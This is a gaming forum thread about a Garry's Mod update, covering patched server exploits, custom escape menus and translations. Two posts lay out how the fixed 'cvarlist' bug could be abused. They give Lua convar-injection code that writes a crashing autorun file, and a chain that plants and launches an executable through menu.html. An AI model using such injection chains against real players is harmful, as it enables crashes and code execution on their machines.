what measures were taken to combat fake servers, specifically?
[QUOTE=Limed00d;47851995]what measures were taken to combat fake servers, specifically?[/QUOTE]
While I'm interested to know as well, it'd probably be better not to make public.
[QUOTE=Limed00d;47851995]what measures were taken to combat fake servers, specifically?[/QUOTE]
A hardcoded ban against a specific server abusing an old Source exploit.
[QUOTE=code_gs;47852095]A hardcoded ban against a specific server abusing an old Source exploit.[/QUOTE]
Now that is pretty hardcore.
Great job garry!
I see a fix for preventing servers from forcing you to a specific resolution but not one for preventing servers from replacing the escape menu with whatever they feel like. Did I miss it or is this not fixed yet?
[QUOTE=Humin;47852473]I see a fix for preventing servers from forcing you to a specific resolution but not one for preventing servers from replacing the escape menu with whatever they feel like. Did I miss it or is this not fixed yet?[/QUOTE]
Custom escape menus are a huge part of gamemodes and servers. Just type disconnect in console if it's such an issue
[QUOTE=code_gs;47852636]Custom escape menus are a huge part of gamemodes and servers. Just type disconnect in console if it's such an issue[/QUOTE]
I was under the impression that if you override the default esc menu that the console would be disabled
[QUOTE=code_gs;47852636]Custom escape menus are a huge part of gamemodes and servers. Just type disconnect in console if it's such an issue[/QUOTE]
Not every keyboard layout works with the Source engine's default console assigned button.
Requiring people to edit a file with notepad manually.
So disabling that isn't unreasonable, while expecting people to use the console to exit is.
[QUOTE=Van-man;47852996]Not every keyboard layout works with the Source engine's default console assigned button.
Requiring people to edit a file with notepad manually.
So disabling that isn't unreasonable, while expecting people to use the console to exit is.[/QUOTE]
Adding a convar would be a good idea to disable them, but limiting them all together is stupid.
[QUOTE=code_gs;47853199]Adding a convar would be a good idea to disable them, but limiting them all together is stupid.[/QUOTE]
When they can be used maliciously and most people don't dick around with game options unless necessary, then it isn't stupid.
Since there'll need to be a easy and well known universal way to leave (pressing Escape and then disconnect, surprise surprise)
I wonder what kind of exploit the cvarlist one was... Amazing how even a command that just lists all cvars can be used to exploit something :v:
I assume you could do something like this:
[lua]
CreateConVar( "cv=_G", 0 )
CreateConVar( "cv.print(\"\")while(true)do", 0 )
CreateConVar( "cv.print(\"\")end", 0 )
[/lua]
Then do RunConsoleCommand( "cvarlist cv log lua/autorun/crash.lua" ) and break singleplayer for whoever you run it on.
Guys, I need help. With this update everything fucked up on my server.
[QUOTE=Mr Mactavish;47854058]Guys, I need help. With this update everything fucked up on my server.[/QUOTE]
You're going to have to be a bit more precise than that. What is broken?
Why does the TTT translations have a separate line for German?
Added Spanish, Russian, Chinese, German and Swedish translations
is surely better?
Or Garry got something against the Germans?
[QUOTE=kill3r;47854116]Why does the TTT translations have a separate line for German?
Added Spanish, Russian, Chinese, German and Swedish translations
is surely better?
Or Garry got something against the Germans?[/QUOTE]
Robotboy and Kilburn just grabbed the commit list from the GitHub; I submitted the first four while the latter was not me since I don't know German
[QUOTE=meharryp;47853559]I assume you could do something like this:
[lua]
CreateConVar( "cv=_G", 0 )
CreateConVar( "cv.print(\"\")while(true)do", 0 )
CreateConVar( "cv.print(\"\")end", 0 )
[/lua]
Then do RunConsoleCommand( "cvarlist cv log lua/autorun/crash.lua" ) and break singleplayer for whoever you run it on.[/QUOTE]
Write executable file to data/two.txt with file.Write.
Create Convars:
[code]"cv1" => "<script>console.log( 'RUNLUA: OpenFolder[[data/one.bat]]' );</script>"
"cv2" => "<script>console.log( 'RUNLUA: OpenFolder[[data/two.exe]]' );</script>"
"cv3" => "\x1Arename data/two.txt two.exe\x1a"[/code]
Dump cv3 to data/two.txt with cvarlist.
Dump cv1 to menu/menu.html with cvarlist so that the html/javascript/lua is executed, internally using ShellExecute from the Windows C API and - via one.bat - renaming data/two.txt to data/two.exe (once the menu is reloaded via the "menu_reload" concommand).
Dump cv2 to menu/menu.html, so that reloading it with "menu_reload" causes two.exe to be executed.
"timer.Adjust has its 4th argument optional now"
Well, whatever you did it isn't working anymore...
[url]http://facepunch.com/showthread.php?t=1468658&p=47855301[/url]
Sorry, you need to Log In to post a reply to this thread.